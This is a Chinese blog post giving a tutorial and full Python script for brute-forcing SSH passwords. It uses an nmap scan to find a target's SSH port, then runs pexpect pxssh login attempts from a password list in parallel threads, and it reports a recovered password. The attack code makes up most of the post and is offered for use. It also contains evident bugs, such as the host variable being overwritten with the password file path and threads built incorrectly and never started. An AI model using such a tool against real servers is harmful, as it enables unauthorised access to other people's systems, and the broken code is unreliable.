服务器暴力破解的程序(python开发)

服务器暴力破解的程序(python开发)

首先我们看一下基本的原理以及过程

Paste_Image.png

我们首先看一下准备工作:
我们需要获取目标机器的IP和SHH端口 ssh端口是可以改变的,所以我们需要去扫描机器的正确的ssh端口。我们使用nmap工具去扫描,使用下面这条命令就可以目标机器上面存在的所有的端口以及服务的名称和使用软件的版本号:

Nmap -v -p 1-65535 -sV -O -sS -T4 192.168.1.110(目标机器)

Paste_Image.png

大家可以看到我们的ssh端口是我们的12784。ssh版本是5.3
现在我们以及获取到我们需要的信息了 IP:192.168.1.110 PORT:12784
我们可以开始破解了。

Paste_Image.png

大家可以看到password Found: vagrant这个就是我们的目标机器的密码:

#python pexpect pxssh远程登录 login()方法可以帮助我们去登录目标机器
from pexpect import pxssh
import optparse  #处理我们命令行参数的模块
from threading import * #多线程 高并发  可以同时登录多个密码
import time
maxConnections = 5 #执行最大线程数 可以修改
#把maxConnection绑定到我们BoundedSemaphore方法 赋值给connection对象
connection_lock = BoundedSemaphore(value=maxConnections)
Found = False  #设置一个初始化值 false后面会用到
Failes = 0 #设置一个初始化值为0

def connect(host, user, password, ports, release): #传了5个变量进去
    global Found
    global Failes
    try:
        s = pxssh.pxssh() #把方法绑定到对象s 方便调用
        s.login(host,user,password,ports) #调用我们的pxssh.login方法并把参数传进去
        print '[+] Password Found:' +password  #打印匹配到的密码
        Found = True #如果等于true就结束
    except Exception, e:
        if 'read_nonblocking' in str(e): #这个字符串表示主机连接次数过多,ssh不对外提供服务
            Failes += 1
            time.sleep(5)  #休息5秒
            connect(host,user,password,False)  #重新调用connect函数
    finally:
        if release:
            connection_lock.release()
def main():
    parser = optparse.OptionParser("usage%prog -H <target host> -u <user> -F <passwordfile> -P <port>")
    #创建一个对象parser绑定一个帮助信息 自动生成
    parser.add_option('-H', dest='tgtHost', type='string', help='specify target host')
    parser.add_option('-u', dest='user', type='string', help='specify target user')
    parser.add_option('-F', dest='passwdFile', type='string', help='specify target password file')
    parser.add_option('-P', dest='ports', type='string', help='specify target ports')
    #当我们输入-p之后会把参数赋值给ports
    (options, args)=parser.parse_args()
    host = options.tgtHost
    user = options.user
    passwdFiles = options.passwdFile
    host = options.passwdFile
    ports = options.ports
    if (host==None) | (user==None) | (passwdFiles==None) | (ports==None):
        #判断获取的值是否为空,如果有一个为空就打印帮助信息
        print parser.usage  #打印帮助信息
        exit()
    fn = open(passwdFiles,'r') #使用open方法打开文件并绑定到fn这个对象
    for line in fn.readline():
        if Found:
            print "[*] exiting: password Found"
            exit()
        if Failes > 5:
            print "[!]exiting: Too many socket timeouts"
            exit()
        connection_lock.acquire() #锁定
        password = line.strip('\r\n')
        print "[-] Testing: " +str(password)
        t = Thread(target = connect(), args=(host, user, password, ports, True))
        #启动多线程,并传入方法connet函数 args是函数的参数
if __name__ == '__main__':
    main()

如果您对服务器暴力破解和Python相关知识有兴趣,可以加群526929231与大神们共同探讨和学习哦!

最后编辑于
©著作权归作者所有,转载或内容合作请联系作者
平台声明:文章内容(如有图片或视频亦包括在内)由作者上传并发布,文章内容仅代表作者本人观点,简书系信息发布平台,仅提供信息存储服务。

推荐阅读更多精彩内容

  • 端口:0 服务:Reserved 说明:通常用于分析操作系统。这一方法能够工作是因为在一些系统中“0”是无效端口,...
    萧玄辞阅读 4,948评论 0 2
  • 0x01 Pentest BOX Pentest Box:渗透测试盒子,是一款Windows平台下预配置的便携式开...
    Hell0_C阅读 24,488评论 8 28
  • Nmap是一款网络扫描和主机检测的非常有用的工具。 Nmap是不局限于仅仅收集信息和枚举,同时可以用来作为一个漏洞...
    小兲阅读 11,879评论 0 5
  • Spring Cloud为开发人员提供了快速构建分布式系统中一些常见模式的工具(例如配置管理,服务发现,断路器,智...
    卡卡罗2017阅读 135,477评论 19 139
  • 01 今天午睡前,我习惯性地拿起手机刷微信,却发现许久不见的好友灵灵突然对我进行了信息轰炸。 十几个大大的对话框,...
    甜丝丝的薄荷绿阅读 7,156评论 4 3